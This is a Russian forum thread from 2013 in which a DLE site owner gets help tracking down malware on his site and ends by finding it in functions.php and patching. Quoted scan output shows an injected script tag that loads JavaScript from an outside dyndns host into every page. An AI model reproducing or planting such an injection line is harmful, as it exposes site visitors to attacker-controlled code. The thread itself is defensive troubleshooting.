Вирус на сайте, нужна помощь

Gudzon2 · Отправлено: **13:35, 10-03-2013** | #11

Severny, Да да дружище. Именно эта хрень, но где ее найти понятия не имею. Перелопатил кучу файлов но так и не смог найти.

Severny · Отправлено: **13:40, 10-03-2013** | #12

CMS какая?

Gudzon2 · Отправлено: **13:47, 10-03-2013** | #13

Severny, Благодарю за подсказку, буду рыть
DLE 9.7
Еще как вариант
С проверки сайта

Цитата:

List of javascripts included
/engine/classes/min/index.php?charset=windows-1251&g=general&8

script src="http://wildfuckers.dyndns.ws/showforum.php?pid=54543" type="text/javascript"></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

/engine/classes/min/index.php?charset=windows-1251&f=engine/classes/highslide/highslide.js&8

<script src="http://wildfuckers.dyndns.ws/showforum.php?pid=54543" type="text/javascript"></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

/templates/Zevs/js/animatedcollapse.js
/templates/Zevs/js/date.js
/engine/modules/SiteVisited/sv.js
/engine/skins/default.js
http://xslt.alexa.com/site_stats/js/...l=stdclub.name
http://wildfuckers.dyndns.ws/showforum.php?pid=54543
http://hostline.ru/index/banner/from/18698/b/pbanner5
http://mc.yandex.ru/metrika/watch.js
http://counter.rambler.ru/top100.jcn?2567385

Может подскажет вам, где мне искать.

Severny · Отправлено: **14:40, 10-03-2013** | #14

http://forum.searchengines.ru/showthread.php?p=11526772

Gudzon2 · Отправлено: **15:08, 10-03-2013** | #15

Severny, Я был уже там, благодаря вашей подсказке. Уже почти все файлы из папки модули перерыл но так ничего и не нашел

Gudzon2 · Отправлено: **15:25, 10-03-2013** | #16

Нашел код в папке modules\файл functions.php
Но вот как он туда сцуко попал, это вопрос уже.

Severny · Отправлено: **15:58, 10-03-2013** | #17

Цитата Gudzon2:

Но вот как он туда сцуко попал, это вопрос уже. »

Да как, уязвимость. Обнови версию DLE, почитай что люди советуют. Сообщество есть же у вас?
Я вот по своей Modx стараюсь постоянно отслеживать.

У меня тоже было заражение одного сайта на дополнительном домене. Я владельцу дал с дуру админские права для редактирования.
У него система была заражена. Сайт тоже следом.
Хостер начал верещать, что идет рассылка с сайта, прикрыл доступ.
Почему я сделал вывод, что заражение с компа владельца - был заражен только его сайт, остальные дополнительные на этой версии CMS не были заражены.
Посмотри, у кого админские права есть, ограничь, проверь свою систему.

Gudzon2 · Отправлено: **16:11, 10-03-2013** | #18

Severny,
Доступ к файлам сайта, имею только я. Да и в конце то концов, не сайт же Пентагона

Кому блин понадобился, не понятно.
К файлу functions.php, через админку сайта не подобраться, только по FTP а тут доступ у меня одного.
Пароли блин 15 значные, не верится что кому то понадобилось таки взламывать блин.
И главное, недавно ведь гадость появилась. Проверил бэкап февральский, там нет ничего. По ходу пока в больнице лежал, впиндюрили его. Я так то слежу ведь за этим. буду сейчас девелоперов длевский сношать блин. У меня ведь лицензия, гады такие

Severny · Отправлено: **16:16, 10-03-2013** | #19

Никто специально и не взламывает. Вирус проходит или через уязвимость, или через комп пользователя, когда права полные.

Цитата Gudzon2:

буду сейчас девелоперов длевский сношать блин. У меня ведь лицензия, гады такие »

С презервативом только.

Цитата Gudzon2:

только по FTP а тут доступ у меня одного »

Я и говорю, удели внимание своей системе.

Gudzon2 · Отправлено: **16:25, 10-03-2013** | #20

Severny, Очень вам благодарен дружище, за помощь! Система у меня чистая и хорошо защищенная. Хотя и на старуху..., как говорится. Только что скачал от девелоперов патч и установил его. Оченнно сильно звинялись, как ни странно.